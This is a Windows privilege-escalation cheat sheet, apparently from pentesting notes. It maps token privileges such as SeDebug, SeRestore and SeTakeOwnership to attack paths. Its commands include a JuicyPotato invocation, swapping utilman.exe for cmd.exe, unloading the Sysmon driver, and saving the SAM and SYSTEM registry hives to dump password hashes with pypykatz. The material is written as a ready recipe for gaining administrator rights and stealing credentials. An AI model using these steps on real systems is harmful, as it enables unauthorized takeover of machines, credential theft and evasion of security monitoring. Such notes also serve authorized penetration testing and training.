# PRIVILEGES INFORMATION

| Privilege              | Impact      | Tool                    | Execution path                                                                                                                                                                                                                                                                                                                                     | Remarks                                                                                                                                                                                                                                                                                                                        |
| ---------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `SeAssignPrimaryToken` | ***Admin*** | 3rd party tool          | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"*                                                                                                                                                                                                      | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon.                                                                                                                                                                                         |
| `SeBackup`             | **Threat**  | ***Built-in commands*** | Read sensitve files with `robocopy /b`                                                                                                                                                                                                                                                                                                             | <p>- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes to open files.<br><br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</p>                                                                      |
| `SeCreateToken`        | ***Admin*** | 3rd party tool          | Create arbitrary token including local admin rights with `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
| `SeDebug`              | ***Admin*** | **PowerShell**          | Duplicate the `lsass.exe` token.                                                                                                                                                                                                                                                                                                                   | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
| `SeLoadDriver`         | ***Admin*** | 3rd party tool          | <p>1. Load buggy kernel driver such as <code>szkg64.sys</code> or <code>capcom.sys</code><br>2. Exploit the driver vulnerability<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code></p>                                                | <p>1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. The <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| `SeRestore`            | ***Admin*** | **PowerShell**          | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.<br><br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p>                                                                                                                                                          |
| `SeTakeOwnership`      | ***Admin*** | ***Built-in commands*** | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p>                                                                                                                                       | <p>Attack may be detected by some AV software.<br><br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p>                                                                                                                                                          |
| `SeTcb`                | ***Admin*** | 3rd party tool          | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.<br><br>To be verified.</p>                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                |

* Exploitation Of Each Privilege Mention Above =>

### **SeAssignPrimaryToken/*****SeImpersonatePrivilege*****:**

Get [`Juicy Potato`](https://github.com/ohpe/juicy-potato/releases) on the victim machine And get a [`CLSID`](https://ohpe.it/juicy-potato/CLSID/)for potatoes.

Command to execute a script through a privileged user.

`.\JuicyPotato.exe -t * -p`` `**`c:\path\to\executable.bat`**` ``-l 9002 -c '{`**`CLSID`**`}'`

### SeBackup:

`cd c:\`\
`mkdir Temp` \
`reg save hklm\sam c:\Temp\sam` \
`reg save hklm\system c:\Temp\system`

* Download The Files And use pyptkatz to dump hashes

`pypykatz registry --sam sam system`
